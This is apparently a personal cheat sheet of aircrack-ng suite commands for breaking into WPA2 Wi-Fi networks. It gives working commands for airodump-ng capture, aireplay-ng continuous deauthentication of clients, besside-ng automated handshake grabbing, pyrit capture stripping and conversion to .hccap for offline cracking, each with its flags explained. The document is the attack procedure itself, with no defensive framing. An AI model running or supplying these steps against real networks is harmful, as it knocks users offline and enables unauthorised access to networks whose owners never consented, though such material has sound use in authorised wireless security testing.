airodump-ng wlan0

Capture traffic

airodump-ng --bssid 04:A1:51:9F:98:BB --wps --write ISSO-WPA2 --channel 6 wlan0

where:

--bssid   - MAC of router
--wps     - Output WPS information, may be able to try Reaver
--write   - File name to write to. No extension
--channel - Statically set a channel. Don't need to unless de-authing
wlan0     - Wireless interface  

Deauth - Do while capturing

aireplay-ng --deauth 0 -a 04:A1:51:9F:11:11 -c E0:AC:CB:DA:1B:1B wlan0

where:

0           - Continuously send deauth packets
-a          - BSSID of router (from airodump)
-c          - STATION of client (From airodump. Not necessary, but preferred)
wlan0       - Interface
–deauth     - Which aireplay attack to launch
[0|64 ACKs] - How many acknowledgements from AP|client. More=better especially for AP count


Automating de-auth attack/handshake grab

besside-ng -W -c 6 -b 00:00:11:22:33:44 wlan0

where:

-W    - WPA networks only
-c    - channel lock
-b    - BSSID of AP
wlan0 - interface
  • Sort of experimental, will probably get errors
  • Usually grabs handshake in under 1 minutes, saves to wpa.cap and wep.cap
  • Need to see at least (Know 1 clients), otherwise nothing to deauth

Seperate out individual caps from besside-ng output

pyrit -r wpa.cap -o mytargetnetwork.cap -e mytarget strip

where:

-r - Input file to look at created by besside-ng
-o - Output file to create
-e - ESSID of network to filter by (alternatively, -b with BSSID of network)

Convert .cap with handshake to .hccap

aircrack-ng -J network network.cap
  • Aircrack already adds .hccap extension to file
